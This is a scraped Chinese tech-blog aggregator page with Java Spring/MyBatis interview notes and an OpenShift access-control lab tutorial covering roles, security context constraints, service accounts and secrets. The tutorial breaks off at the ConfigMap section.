標籤: 台北網頁設計

  • 程序員必須掌握的Java 框架,小白學會之後15k不是問題

    程序員必須掌握的Java 框架,小白學會之後15k不是問題

    Spring 的核心特性是什麼?Spring 優點?

    Spring 的核心是控制反轉(IoC)和面向切面(AOP)

    Spring 優點:

    程序員必須掌握的Java 框架,學會之後50k不是問題
    (1)方便解耦,簡化開發 (高內聚低耦合)

    Spring 就是一個大工廠(容器),可以將所有對象創建和依賴關係維護,交給 Spring管理

    spring 工廠是用於生成 bean

    (2)AOP 編程的支持

    Spring 提供面向切面編程,可以方便的實現對程序進行權限攔截、運行監控等功能

    (3) 聲明式事務的支持

    只需要通過配置就可以完成對事務的管理,而無需手動編程

    (4) 方便程序的測試

    Spring 對 Junit4 支持,可以通過註解方便的測試 Spring 程序

    (5)方便集成各種優秀框架

    Spring 不排斥各種優秀的開源框架,其內部提供了對各種優秀框架(如:Struts、Hibernate、MyBatis、Quartz 等)的直接支持

    (6) 降低 JavaEE API 的使用難度

    Spring 對 JavaEE 開發中非常難用的一些 API(JDBC、JavaMail、遠程調用等),都提供了封裝,使這些 API 應用難度大大降低

    spring 框架中需要引用哪些 jar 包,以及這些 jar 包的用途

    4 + 1 : 4 個 核 心 ( beans 、 core 、 context 、 expression ) + 1 個 依 賴(commons-loggins…jar)

    理解 AOP、IoC 的基本原理;

    IOC:控制反轉(IoC)與依賴注入(DI)是同一個概念,

    控制反轉的思想:

    傳統的 java 開發模式中,當需要一個對象時,我們會自己使用 new 或者getInstance 等直接或者間接調用構造方法創建一個對象。而在 spring 開發模式中,spring 容器使用了工廠模式為我們創建了所需要的對象,不需要我們自己創建了,直接調用 spring 提供的對象就可以了

    引入 IOC 的目的:

    (1)脫開、降低類之間的耦合;(2)倡導面向接口編程、實施依賴倒換原則;

    (3)提高系統可插入、可測試、可修改等特性

    AOP:面向切面編程(AOP)面向切面編程思想:

    在面向對象編程(oop)思想中,我們將事物縱向抽成一個個的對象。而在面向切面編程中,我們將一個個的對象某些類似的方面橫向抽成一個切面,對這個切面進行一些如權限控制、事物管理,記錄日誌等公用操作處理的過程。

    切面:簡單說就是那些與業務無關,卻為業務模塊所共同調用的邏輯或責任封裝起來,便於減少系統的重複代碼,降低模塊之間的耦合度,並有利於未來的可操作性和可維護性。

    AOP 底層:動態代理。

    如果是接口採用 JDK 動態代理,如果是類採用 CGLIB 方式實現動態代理。

    AOP 的一些場景應用;

    AOP 用來封裝橫切關注點,具體可以在下面的場景中使用:

    Authentication 權限

    Caching 緩存

    Context passing 內容傳遞

    Error handling 錯誤處理

    Lazy loading 懶加載

    Debugging調試

    logging, tracing, profiling and monitoring 記錄跟蹤 優化 校準

    Performance optimization 性能優化

    Persistence持久化

    Resource pooling 資源池

    Synchronization 同步

    Transactions 事務

    spring 注入的幾種方式
    (1)構造方法注入

    (2)setter 注入

    (3)基於註解

    Spring 中 Bean 的作用域有哪些

    作用域:用於確定 spring 創建 bean 實例個數

    取值(常用的兩個):

    singleton 單例,默認值。prototype 多例,一個 bean 的定義可以有多個實例。每執行一次 getBean 將獲得一個實例。

    請介紹一下 bean 的生命周期

    (1)bean 定義:在配置文件裏面用來進行定義。

    (2)bean 初始化:有兩種方式初始化:在配置文件中通過指定 init-method 屬性來完成實現
    org.springframwork.beans.factory.InitializingBean 接口

    (3)bean 調用:有三種方式可以得到 bean 實例,並進行調用

    (4)bean 銷毀:銷毀有兩種方式使用配置文件指定的 destroy-method 屬性實現
    org.springframwork.bean.factory.DisposeableBean 接口

    Spring 中自動裝配的方式有哪些

    no:不進行自動裝配,手動設置 Bean 的依賴關係。

    byName:根據 Bean 的名字進行自動裝配。

    byType:根據 Bean 的類型進行自動裝配。

    constructor:類似於 byType,不過是應用於構造器的參數,如果正好有一個 Bean與構造器的參數類型相同則可以自動裝配,否則會導致錯誤。autodetect:如果有默認的構造器,則通過 constructor 的方式進行自動裝配,否則使用 byType 的方式進行自動裝配。

    (自動裝配沒有自定義裝配方式那麼精確,而且不能自動裝配簡單屬性(基本類型、字符串等),在使用時應注意。)

    @Resource 和 @Autowired 區別?分別用在什麼場景?

    (1)共同點:兩者都可以寫在字段和 setter 方法上。兩者如果都寫在字段上,那麼就不需要再寫 setter 方法。

    (2)不同點:

    @Autowired

    @Autowired為Spring提供的註解,需要導入包
    org.springframework.beans.factory.annotation.Autowired;只按照 byType 注入。@Autowired 註解是按照類型(byType)裝配依賴對象,默認情況下它要求依賴對象必須存在,如果允許 null 值,可以設置它的 required 屬性為 false。如果我們想使用按照名稱(byName)來裝配,可以結合@Qualifier 註解一起使用。

    @Resource

    @Resource 默 認 按 照 ByName 自 動 注 入 , 由 J2EE 提 供 , 需 要 導 入 包javax.annotation.Resource。@Resource 有兩個重要的屬性:name 和 type,而 Spring將@Resource 註解的 name 屬性解析為 bean 的名字,而 type 屬性則解析為 bean的類型。所以,如果使用 name 屬性,則使用 byName 的自動注入策略,而使用type 屬性時則使用 byType 自動注入策略。如果既不制定 name 也不制定 type 屬性,這時將通過反射機制使用 byName 自動注入策略。

    Hibernate 和 mybatis 的區別?

    (1)兩者最大的區別

    針對簡單邏輯,Hibernate 與 MyBatis 都有相應的代碼生成工具,可以生成簡單基本的 DAO 層方法。

    針對高級查詢,MyBatis 需要手動編寫 SQL 語句,以及 ResultMap,而 Hibernate有良好的映射機制,開發者無需關心 SQL 的生成與結果映射,可以更專註於流程。

    (2)開發難度對比

    Hibernate 的開發難度大於 MyBatis,主要由於 Hibernate 比較複雜,龐大,學習周期比較長。

    MyBatis 則相對簡單,並且 MyBatis 主要依賴於生氣了的書寫,讓開發者剛進更熟悉。

    (3)sql 書寫比較

    Hibernate 也可以自己寫 sql 來指定需要查詢的字段,但這樣就破壞了Hibernate 開發的簡潔性,不過 Hibernate 具有自己的日誌統計。

    MyBatis 的 sql 是手動編寫的,所以可以按照要求指定查詢的字段,不過沒有自己的日誌統計,所以要藉助 Log4j 來記錄日誌。

    (4)數據庫擴展性計較Hibernate 與數據庫具體的關聯在 XML 中,所以 HQL 對具體是用什麼數據庫
    並不是很關心MyBatis 由於所有 sql 都是依賴數據庫書寫的,所以擴展性、遷移性比較差。

    (5)緩存機制比較

    Hibernate 的二級緩存配置在 SessionFactory 生成配置文件中進行詳細配置,然後再在具體的表對象映射中配置那種緩存。

    MyBatis 的二級緩存配置都是在每個具體的表對象映射中進行詳細配置,這樣針對不同的表可以自定義不同的緩衝機制,並且 MyBatis 可以在命名空間中共享相同的緩存配置和實例,通過 Cache-ref 來實現。

    兩者比較,因為 Hibernate 對查詢對象有着良好的管理機制,用戶無需關心 SQL,所以在使用二級緩存時如果出現臟數據,系統會報出錯誤提示。 而 MyBatis 在這一方面使用二級緩存時需要特別小心,如果不能完全去頂數據更新操作的波及範圍,避免 cache 的盲目使用,否則,臟數據的出現會給系統的正常運行帶來很大的隱患。

    mybatis 是如何工作的?

    一、Mybatis 工作原理圖

    mybatis 原理圖如下所示:

    二、工作原理解析

    mybatis 應用程序通過 SqlSessionFactoryBuilder 從 mybatis-config.xml 配置文件(也可以用 Java 文件配置的方式,需要添加@Configuration)來構建 SqlSessionFactory(SqlSessionFactory 是線程安全的);

    然後,SqlSessionFactory 的實例直接開啟一個 SqlSession,再通過 SqlSession 實例獲得 Mapper 對象並運行 Mapper 映射的 SQL 語句,完成對數據庫的 CRUD 和事務提交,之後關閉 SqlSession。說明:SqlSession 是單線程對象,因為它是非線程安全的,是持久化操作的獨享對象,類似 jdbc 中的 Connection,底層就封裝了 jdbc 連接。

    詳細流程如下:

    (1)、加載 mybatis 全局配置文件(數據源、mapper 映射文件等),解析配置文件,MyBatis 基於 XML 配置文件生成 Configuration,和一個個 MappedStatement(包括了參數映射配置、動態 SQL 語句、結果映射配置),其對應着標籤項。

    (2)、SqlSessionFactoryBuilder 通過 Configuration 對象生成 SqlSessionFactory,用來開啟 SqlSession。

    (3)、SqlSession 對象完成和數據庫的交互:

    a、用戶程序調用 mybatis 接口層 api(即 Mapper 接口中的方法)

    b、SqlSession 通過調用 api 的 Statement ID 找到對應的 MappedStatement 對象

    c、通過 Executor(負責動態 SQL 的生成和查詢緩存的維護)將 MappedStatement對象進行解析,sql 參數轉化、動態 sql 拼接,生成 jdbc Statement 對象

    d、JDBC 執行 sql。

    e、藉助 MappedStatement 中的結果映射關係,將返回結果轉化成 HashMap、JavaBean 等存儲結構並返回。

    Hibernate 對象有幾個狀態值?

    Transient 瞬時 :對象剛 new 出來,還沒設 id,設了其他值。

    Persistent 持久:調用了 save()、saveOrUpdate(),就變成 Persistent,有 id

    Detached 脫管 : 當 session close()完之後,變成 Detached。

    簡述 Springmvc 的流程;

    spring 工作的流程

    流程如下:(1)用戶發起請求到前端控制器(DispatcherServlet),該控制器會過濾出哪些請求可以訪問 Servlet、哪些不能訪問。就是 url-pattern 的作用,並且會加載springmvc.xml 配置文件。

    (2)前端控制器會找到處理器映射器(HandlerMapping),通過 HandlerMapping完成 url 到 controller 映射的組件,簡單來說,就是將在 springmvc.xml 中配置的或者註解的 url 與對應的處理類找到並進行存儲,用 map<url,handler>這樣的方式來存儲。

    (3)HandlerMapping 有了映射關係,並且找到 url 對應的處理器,HandlerMapping就會將其處理器(Handler)返回,在返回前,會加上很多攔截器。

    (4)DispatcherServlet 拿到 Handler 后,找到 HandlerAdapter(處理器適配器),通過它來訪問處理器,並執行處理器。

    (5)執行處理器

    (6)處理器會返回一個 ModelAndView 對象給 HandlerAdapter

    (7) 通 過 HandlerAdapter 將 ModelAndView 對 象 返 回 給 前 端 控 制 器(DispatcherServlet)

    (8)前端控制器請求視圖解析器(ViewResolver)去進行視圖解析,根據邏輯視圖名解析成真正的視圖(jsp),其實就是將 ModelAndView 對象中存放視圖的名稱進行查找,找到對應的頁面形成視圖對象

    (9)返回視圖對象到前端控制器。

    (10)視圖渲染,就是將 ModelAndView 對象中的數據放到 request 域中,用來讓頁面加載數據的。

    (11)通過第 8 步,通過名稱找到了對應的頁面,通過第 10 步,request 域中有了所需要的數據,那麼就能夠進行視圖渲染了。最後將其返回即可。

    Springmvc 和 Springboot 有什麼區別?

    Spring MVC 是基於 Spring 的一個 MVC 框架 ;

    Spring Boot 是基於 Spring4 的條件註冊的一套快速開發整合包。

    Springboot 為什麼配置簡單?(即它自動做了什麼操作才能簡化程序員的操作)
    主要是使用了 spring3 之後提供的註解,來代替 xml 文件的配置,最核心的是以下兩個註解

    @Configuration,標註在類上,相當於定義一個配置類,一份 spring 的配置文件

    @Bean,類似於 spring 配置文件中的通過這兩個註解就可以用 java 代碼的方式來完成相關 spring 配置

    持久層設計要考慮的問題有哪些?請談一下你用過的持久層框架都有哪些?

    “持久”就是將數據保存到可掉電式存儲設備中以便今後使用,簡單的說,就是將內存中的數據保存到關係型數據庫、文件系統、消息隊列等提供持久化支持的設備中。持久層就是系統中專註於實現數據持久化的相對獨立的層面。

    持久層設計的目標包括:

    數據存儲邏輯的分離,提供抽象化的數據訪問接口。

    數據訪問底層實現的分離,可以在不修改代碼的情況下切換底層實現。

    資源管理和調度的分離,在數據訪問層實現統一的資源調度(如緩存機制)。

    數據抽象,提供更面向對象的數據操作。

    持久層框架有: Hibernate、MyBatis、TopLink、 Guzz、 jOOQ、 Spring Data、ActiveJDBC

    需要更多技術文檔可以在後台私信【學習】

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※別再煩惱如何寫文案,掌握八大原則!

    網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

    ※超省錢租車方案

    ※教你寫出一流的銷售文案?

    網頁設計最專業,超強功能平台可客製化

  • 005.OpenShift訪問控制-權限-角色

    005.OpenShift訪問控制-權限-角色

    一 Kubetcl namespace

    1.1 namespace描述


    Kubernetes namespace提供了將一組相關資源組合在一起的機制。在Red Hat OpenShift容器平台中,project是一個帶有附加註釋的Kubernetes namespace。

    namespace提供以下特性:

    1. 命名資源,以避免基本的命名衝突;
    2. 將管理權限授予受信任的用戶;
    3. 限制用戶資源消耗的能力;
    4. 用戶和用戶組隔離。

    1.2 project


    project提供了一種機制,通過這種機制可以管理普通用戶對資源的訪問。project允許一組用戶獨立於其他組組織和管理其內容,必須允許用戶訪問項目。如果允許創建項目,用戶將自動訪問自己的項目。

    項目可以有單獨的name、display name和description。

    name是項目的唯一標識符,在使用CLI工具或API時都是基於name,name的最大長度為63個字符。

    display name是項目在web控制台中显示的方式(默認為name)。

    description是項目的更詳細描述,並且在web控制台中也可見。

    以下組件適用於項目:

    • Object:pod、service、rc等;
    • Policies:決定用戶可以或不能對對象執行哪些操作的規則;
    • Constraints:可以限制的每種對象的配額。

    1.3 cluster管理


    集群管理員可以創建項目並將項目的管理權限委託給任何用戶。在OpenShift容器平台中,項目用於對相關對象進行分組和隔離。

    管理員可以讓用戶訪問某些項目,允許他們創建自己的項目,並在單個項目中賦予他們管理權限。

    管理員可以將角色應用於允許或限制其創建項目能力的用戶和組,同時可以在用戶初始登錄之前分配角色。

    限制項目創建:從通過身份驗證的用戶和組中刪除self-provisioning集群角色,將拒絕任何新項目的權限。

    [root@master ~]$ oc adm policy remove-cluster-role-from-group \

    self-provisioner \

    system:authenticated \

    system:authenticated:oauth

    授予項目創建:項目創建授予具有self-供應者角色和self-provisione集群角色綁定的用戶。默認情況下,所有經過身份驗證的用戶都可以使用這些角色。

    [root@master ~]$ oc adm policy add-cluster-role-to-group \

    self-provisioner \

    system:authenticated \

    system:authenticated:oauth

    1.4 創建project


    如果項目創建權限被授予用戶,則可以使用oc命令創建project。

    [root@master ~]$ oc new-project demoproject \

    –description=”Demonstrate project creation” \

    –display-name=”demo_project”

    二 OpenShift角色

    2.1 角色概述


    role具有不同級別的訪問和策略,包括集群和本地策略。user和group可以同時與多個role關聯。運行oc description命令查看角色及其綁定的詳細信息。

    在集群策略中具有cluster-admin缺省角色的用戶可以查看集群策略和所有本地策略。在給定的本地策略中具有admin缺省角色的用戶可以基於per-project查看策略。

    可通過以下命令查看當前的集群綁定集,其中显示綁定到不同角色的用戶和組。

    [root@demo ~]# oc describe clusterPolicyBindings :default

    2.2 查看本地policy


    儘管本地角色列表及其關聯的規則集在本地策略中是不可查看的,但是所有缺省角色仍然適用,並且可以添加到用戶或組中,cluster-admin缺省角色除外。但是,本地綁定是可見的。

    可通過以下命令查看當前的本地綁定,其中显示綁定到不同角色的用戶和組。

    [root@demo ~]# oc describe policyBindings :default

    提示:默認情況下,在本地策略中,只會列出admin角色的綁定。但是,如果將其他默認角色添加到本地策略中的用戶和組,也會列出它們。

    2.3 管理role綁定


    向用戶或組添加或綁定角色,從而實現向用戶或組提供角色授予的相關訪問權限。可以使用oc adm policy命令在用戶和組之間添加和刪除角色。

    當使用以下操作管理本地策略的用戶和組角色時,可以使用-n選項指定項目。如果沒有指定,則使用當前項目。

    常見管理本地策略操作:





























    命令 描述
    oc adm policy who-can verb resource 設置哪些用戶可以對資源執行操作
    oc adm policy add-role-to-user role username 將指定角色綁定到指定用戶
    oc adm policy remove-role-from-user role username 從指定用戶中移除給定角色
    oc adm policy remove-user username 刪除指定的用戶及其所有角色
    oc adm policy add-role-to-group role groupname 將指定的角色綁定到指定的組
    oc adm policy remove-role-fromgroup role groupname 從指定組中移除給定角色
    oc adm policy remove-group groupname 刪除指定的組及其所有角色


    還可以使用如下所示的的操作管理cluster policy的role binding,這類命令不需要-n選項,因為cluster policy不在namespace級別上操作。

    常見管理cluster policy操作:




















    命令 描述
    oc adm policy add-cluster-role-to-user role username 將集群中所有項目的指定角色綁定到指定用戶
    oc adm policy remove-cluster-role-from-user role username 為集群中的所有項目從指定用戶中刪除指定角色
    oc adm policy add-cluster-role-togroup role groupname 為集群中的所有項目將指定的角色綁定到指定的組
    oc adm policy remove-cluster-role-from-group role groupname 從集群中所有項目的指定組中移除給定角色


    提示:oc policy命令應用於當前項目,而oc adm policy命令應用於集群範圍的操作。

    示例:在example項目中為developer用戶提供admin角色。

    [root@demo ~]# oc adm policy add-role-to-user admin developer -n example

    [root@demo ~]# oc describe policybindings :default -n example #檢查綁定

    三 安全上下文約束(SCCS)

    3.1 SCCS概述


    OpenShift提供安全上下文約束(SCCS),它控制pod可以執行的操作和它可以訪問的資源。默認情況下,任何容器的執行都只授予受限制的SCC定義的功能。

    SCCS相關命令:

      1 [user@demo ~]$ oc get scc			                        #列出可用的SCC
      2 [user@demo ~]$ oc describe scc scc_name		                #現實特定SCC詳細信息
      3 [user@demo ~]$ oc adm policy add-scc-to-user scc_name user_name
      4 [user@demo ~]$ oc adm policy add-scc-to-group scc_name group_name	#要授予用戶或組特定的SCC
      5 [user@demo ~]$ oc adm policy remove-scc-from-user scc_name user_name
      6 [user@demo ~]$ oc adm policy remove-scc-from-group scc_name group_name	#從特定的SCC中刪除用戶或組


    四 服務賬戶

    4.1 服務賬戶


    service account提供了一種靈活的方法來控制API訪問,而無需共享常規用戶的憑據。如果應用程序需要訪問受限制的SCC未授予的功能,可創建一個新的、特定的service account並將其添加到適當的SCC中。

    例如,在缺省情況下,OpenShift不支持部署需要提升特權的應用程序。若有此需求,可創建一個service account,修改dc,然後添加service account至SCC。

    示例:將anyuid配置為在容器中作為root用戶運行。

    [user@demo ~]$ oc create serviceaccount useroot #創建一個名為useroot的新服務帳戶

    [user@demo ~]$ oc patch dc/demo-app \

    –patch ‘{“spec”:{“template”:{“spec”:{“serviceAccountName”: “useroot”}}}}’ #修改應用程序的DC

    [user@demo ~]$ oc adm policy add-scc-to-user anyuid -z useroot #將useroot服務帳戶添加到anyuid SCC中,作為容器中的根用戶運行

    4.2 Web管理user成員


    OCP平台的默認配置是,在用戶首次登錄成功時,自動創建該用戶對象。

    要管理允許訪問項目的用戶,請以項目管理員或集群管理員的身份登錄到web控制台,並選擇要管理的項目。在左側窗格中,單擊Resources——>membership進入項目member頁面。

    在Users列中,在突出显示的文本框中輸入用戶名。在“添加另一個角色”列中,從用戶所在行的列表中選擇一個角色,然後單擊“添加”。

    4.3 Cli管理user成員


    CLI中如果自動創建對象功能被關閉,集群管理員可通過如下方式創建新用戶:

    [root@master ~]$ oc create user demo-user

    同時還需要在身份認證軟件中創建用戶,如為HTPasswdIdentityProvider才用戶命令如下:

    [root@master ~]$ htpasswd /etc/origin/openshift-passwd demo-user

    要向用戶添加項目角色,首先使用oc project命令輸入項目,然後使用oc policy add-role-to-user命令:

    [root@master ~]$ oc policy add-role-to-user edit demo-user

    要從用戶中刪除項目角色,使用oc policy remove-role-from-user命令:

    [root@master ~]$ oc policy remove-role-from-user edit demo-user

    並不是所有OpenShift角色都由項目限定範圍。要分配這些規則,請使用oc adm policy command命令。

    [root@master ~]$ oc adm policy add-cluster-role-to-user cluster-admin admin

    4.4 身份驗證和授權


    身份驗證層標識與對OpenShift容器平台API的請求相關聯的用戶,然後授權層使用關於請求用戶的身份信息來確定是否應該允許該請求。

    • user和group


    OCP容器平台中的用戶是一個可以向OpenShift API發出請求的實體。通常,這表示與OpenShift交互的develop或administrator的帳戶。

    可以將用戶分配給一個或多個組,每個組表示一組特定的角色(或權限)。當需要通過管理授權策略給多個客戶授權時候,group會比較合適。例如允許訪問項目中的對象,而不是單獨授予用戶。

    • Authentication Tokens


    API調用必須使用訪問令牌或X.509證書進行身份驗證,會話token表示用戶,並且是短期的,默認情況下在24小時內到期。

    可以通過運行oc whoami命令來驗證經過身份驗證的用戶。

    [root@master ~]$ oc login -u demo-user

    [root@master ~]$ oc whoami

    demo-user

    4.5 身份驗證類型


    本環境中,身份驗證由HTPasswdIdentityProvider模塊提供,該模塊根據使用htpasswd命令生成的文件驗證用戶名和密碼。

    OpenShift容器平台支持的其他認證類型包括:

    • Basic Authentication (Remote)


    一種通用的後端集成機制,允許用戶使用針對遠程標識提供者驗證的憑據登錄到OpenShift容器平台。用戶將他們的用戶名和密碼發送到OpenShift容器平台,OpenShift平台通過到服務器的請求驗證這些憑據,並將憑據作為基本的Auth頭傳遞。這要求用戶在登錄過程中向OpenShift容器平台輸入他們的憑據。

    • Request Header Authentication


    用戶使用請求頭值(如X-RemoteUser)登錄到OpenShift容器平台。它通常與身份驗證代理結合使用,身份驗證代理對用戶進行身份驗證,然後通過請求頭值為OpenShift容器平台提供用戶標識。

    • Keystone Authentication


    Keystone是一個OpenStack項目,提供標識、令牌、目錄和策略服務。OpenShift容器平台與Keystone集成,通過配置OpenStack Keystone v3服務器將用戶存儲在內部數據庫中,從而支持共享身份驗證。這種配置允許用戶使用Keystone憑證登錄OpenShift容器平台。

    • LDAP Authentication


    用戶使用他們的LDAP憑證登錄到OpenShift容器平台。在身份驗證期間,LDAP目錄將搜索與提供的用戶名匹配的條目。如果找到匹配項,則嘗試使用條目的專有名稱(DN)和提供的密碼進行簡單綁定。

    • GitHub Authentication


    GitHub使用OAuth,它允許與OpenShift容器平台集成使用OAuth身份驗證來促進令牌交換流。這允許用戶使用他們的GitHub憑證登錄到OpenShift容器平台。為了防止使用GitHub用戶id的未授權用戶登錄到OpenShift容器平台集群,可以將訪問權限限制在特定的GitHub組織中。

    五 管理項目及賬戶

    5.1 前置準備


    準備完整的OpenShift集群,參考《003.OpenShift網絡》2.1。

    5.2 本練習準備


    [student@workstation ~]$ lab secure-resources setup

    5.3 創建htpasswd賬戶

      1 [kiosk@foundation0 ~]$ ssh root@master
      2 [root@master ~]# htpasswd -b /etc/origin/master/htpasswd user1 redhat
      3 [root@master ~]# htpasswd -b /etc/origin/master/htpasswd user2 redhat
      4 #添加基於htpasswd形式的user1和user2,密碼都為redhat。


    5.4 設置策略

      1 [student@workstation ~]$ oc login -u admin -p redhat https://master.lab.example.com	#使用管理員登錄
      2 [student@workstation ~]$ oc adm policy remove-cluster-role-from-group \
      3 self-provisioner system:authenticated:oauth
      4 #刪除所有賦予普通創建項目的功能,該命令可參考本環境如下目錄中的命令。
      5 [student@workstation ~]$ cat /home/student/DO280/labs/secure-resources/configure-policy.sh
      6 #!/bin/bash
      7 oc adm policy remove-cluster-role-from-group \
      8     self-provisioner system:authenticated system:authenticated:oauth


    5.5 驗證策略

      1 [student@workstation ~]$ oc login -u user1 -p redhat https://master.lab.example.com	#使用普通用戶user1登錄
      2 [student@workstation ~]$ oc new-project test					#測試創建project
      3 Error from server (Forbidden): You may not request a new project via this API.


    5.6 創建項目

      1 [student@workstation ~]$ oc login -u admin -p redhat https://master.lab.example.com	#使用集群管理員登錄
      2 [student@workstation ~]$ oc new-project project-user1				#創建兩個項目
      3 [student@workstation ~]$ oc new-project project-user2


    5.7 將項目與user關聯

      1 #選擇項目1
      2 Now using project "project-user1" on server "https://master.lab.example.com:443".
      3 [student@workstation ~]$ oc policy add-role-to-user admin user1		#將user1添加為項目1的管理員
      4 role "admin" added: "user1"
      5 [student@workstation ~]$ oc policy add-role-to-user edit user2		#將user2添加為項目1的開發員
      6 role "edit" added: "user2"
      7 
      8 [student@workstation ~]$ oc project project-user2			        #選擇項目2
      9 Now using project "project-user2" on server "https://master.lab.example.com:443".
     10 [student@workstation ~]$ oc policy add-role-to-user edit user2		#將user2添加為項目2的開發員
     11 role "edit" added: "user2"


    5.8 驗證訪問

      1 [student@workstation ~]$ oc login -u user1 -p redhat https://master.lab.example.com	#使用user1登錄
      2 [student@workstation ~]$ oc project project-user1					#驗證項目1的訪問
      3 Already on project "project-user1" on server "https://master.lab.example.com:443".
      4 [student@workstation ~]$ oc project project-user2					#驗證項目2的訪問
      5 error: You are not a member of project "project-user2".
      6 You have one project on this server: project-user1
      7 
      8 [student@workstation ~]$ oc login -u user2 -p redhat https://master.lab.example.com	#使用user2登錄
      9 [student@workstation ~]$ oc project project-user1
     10 Already on project "project-user1" on server "https://master.lab.example.com:443".	#驗證項目1的訪問
     11 [student@workstation ~]$ oc project project-user2
     12 Now using project "project-user2" on server "https://master.lab.example.com:443".	#驗證項目2的訪問


    5.9 部署特權應用

      1 [student@workstation ~]$ oc login -u user2 -p redhat https://master.lab.example.com
      2 [student@workstation ~]$ oc project project-user1
      3 Now using project "project-user1" on server "https://master.lab.example.com:443".
      4 [student@workstation ~]$ oc new-app --name=nginx --docker-image=registry.lab.example.com/nginx:latest
      5 #使用在項目1上不具備admin權限的用戶user2登錄,並部署應用,會出現如下提示:





    5.10 驗證部署

      1 [student@workstation ~]$ oc get pods




    結論:由上可知,部署失敗是因為容器映像需要root用戶,pod以CrashLoopBackOff或錯誤狀態結束。

    5.11 故障排除


    若要解決此故障需要減少特定項目的安全限制。

    要使用特權訪問運行容器,可創建一個允許pod使用操作系統普通用戶運行的service account。

    如下部分需要具有項目管理員特權的用戶執行,而另一些操作需要具有集群管理員特權的用戶執行。

    本環境中,相關操作命令可以從/home/student/DO280/labs/secure-resources文件夾中的configure-sc.sh腳本運行或複製。

      1 [student@workstation ~]$ oc login -u user1 -p redhat https://master.lab.example.com	#使用項目1的admin賬戶登錄 
      2 [student@workstation ~]$ oc create serviceaccount useroot		  #創建服務賬戶
      3 serviceaccount "useroot" created
      4 [student@workstation ~]$ oc login -u admin -p redhat https://master.lab.example.com	#使用集群管理員登錄
      5 [student@workstation ~]$ oc project project-user1			  #選擇項目1
      6 Already on project "project-user1" on server "https://master.lab.example.com:443".
      7 [student@workstation ~]$ oc adm policy add-scc-to-user anyuid -z useroot  #設置SCC策略
      8 scc "anyuid" added to: ["system:serviceaccount:project-user1:useroot"]    #將服務帳戶與anyuid安全上下文關聯,此操作需要集群管理員用戶。
      9 [student@workstation ~]$ oc login -u user2 -p redhat https://master.lab.example.com	#切換user2用戶
     10 [student@workstation ~]$ oc project project-user1
     11 Already on project "project-user1" on server "https://master.lab.example.com:443".
     12 [student@workstation ~]$ oc patch dc nginx --patch='{"spec":{"template":{"spec":{"serviceAccountName": "useroot"}}}}'



    #更新負責管理nginx的dc資源,任何開發人員用戶都可以執行此操作。本環境中,相關操作命令可以從/home/student/DO280/labs/secure-resources文件夾中的configure-sc.sh腳本運行或複製。

    5.12 驗證確認

      1 [student@workstation ~]$ oc get pods
      2 NAME            READY     STATUS    RESTARTS   AGE
      3 nginx-2-98k8f   1/1       Running   0          3m
      4 

    5.13 暴露服務

      1 [student@workstation ~]$ oc expose svc nginx
      2 route "nginx" exposed
      3 [student@workstation ~]$ oc get svc
      4 NAME      TYPE        CLUSTER-IP      EXTERNAL-IP   PORT(S)   AGE
      5 nginx     ClusterIP   172.30.118.63   <none>        80/TCP    13m
      6 [student@workstation ~]$ oc get route
      7 NAME      HOST/PORT                                  PATH      SERVICES   PORT      TERMINATION   WILDCARD
      8 nginx     nginx-project-user1.apps.lab.example.com             nginx      80-tcp                  None


    5.14 測試訪問

      1 [student@workstation ~]$ curl -s http://nginx-project-user1.apps.lab.example.com

    5.15 策略刪除演示

      1 [student@workstation ~]$ oc login -u admin -p redhat
      2 [student@workstation ~]$ oc adm policy add-cluster-role-to-group self-provisioner system:authenticated system:authenticated:oauth
      3 cluster role "self-provisioner" added: ["system:authenticated" "system:authenticated:oauth"]
      4 [student@workstation ~]$ oc delete project project-user1
      5 project "project-user1" deleted
      6 [student@workstation ~]$ oc delete project project-user2
      7 [root@master ~]# htpasswd -D /etc/origin/master/htpasswd user1 
      8 [root@master ~]# htpasswd -D /etc/origin/master/htpasswd user2


    #為所有常規用戶重新啟用項目創建,即重置為初始狀態。本環境中,相關操作命令可以從/home/student/DO280/labs/secure-resources文件夾中的restore-policy.sh腳本運行或複製。

    六 管理加密信息

    6.1 secret特性


    Secret對象類型提供了一種機制來保存敏感信息,如密碼、OCP客戶端配置文件、Docker配置文件和私有倉庫憑據。Secrets將敏感內容與Pod解耦。可以使用Volume插件將Secrets掛載到容器上,或者系統可以使用Secrets代表pod執行操作。

    Secrets的主要特徵包括:

    • Secrets data可以獨立於其定義引用。
    • Secrets data Volume由臨時文件存儲支持。
    • 可以在名稱空間中共享Secrets data。

    6.2 創建Secrets


    在依賴於該Secrets的pod之前創建一個Secrets。

      1 [user@demo ~]$ oc create secret generic secret_name \
      2 --from-literal=key1=secret1 \
      3 --from-literal=key2=secret2	#用secret data創建secret對象
      4 [user@demo ~]$ oc secrets add --for=mount serviceaccount/serviceaccount-name \
      5 secret/secret_name		#更新pod的服務帳戶,允許引用該secrets。

    例如,允許一個運行在指定服務帳戶下的pod掛載一個secrets

    創建一個pod,該pod使用環境變量或數據卷作為文件的方式使用該secret,通常使用模板完成。

    6.3 使用secret暴露Pod


    secrets可以作為數據卷掛載,也可以作為環境變量以便供pod中的容器使用。

    例如,要向pod公開一個secrets,首先創建一個secrets並將username和password以k/v形式配置,然後將鍵名分配給pod的YAML文件env定義。

    示例:創建名為demo-secret的secrets,它定義用戶名和密碼為username/demo-user。

    [user@demo ~]$ oc create secret generic demo-secret \

    –from-literal=username=demo-user

    要使用前面的secret作為MySQL數據庫pod的數據庫管理員密碼,請定義環境變量,並引用secret名稱和密碼。

      1 env:
      2   - name: MYSQL_ROOT_PASSWORD
      3     valueFrom:
      4       secretKeyRef:
      5        key: username
      6        name: demo-secret


    6.4 web端管理secret


    從web控制台管理secret:

    1. 以授權用戶身份登錄到web控制台。

    2. 創建或選擇一個項目來承載secret。

    3. 導航到resource——>secrets。

    6.5 Secret使用場景


    • password和user names


    敏感信息(如password和user name)可以存儲在一個secret中,該secret被掛載為容器中的數據卷。數據显示為位於容器的數據卷目錄中的文件中的內容。然後,應用程序(如數據庫)可以使用這些secret對用戶進行身份驗證。

    • 傳輸層安全性(TLS)和密鑰對


    通過讓集群將簽名證書和密鑰對生成到項目名稱空間中的secret中,可以實現對服務的通信的保護。證書和密鑰對使用PEM格式存儲以類似tls.crt和tls.key的格式存儲在secret的pod中。

    七 ConfigMap對象

    7.1 ConfigMap概述


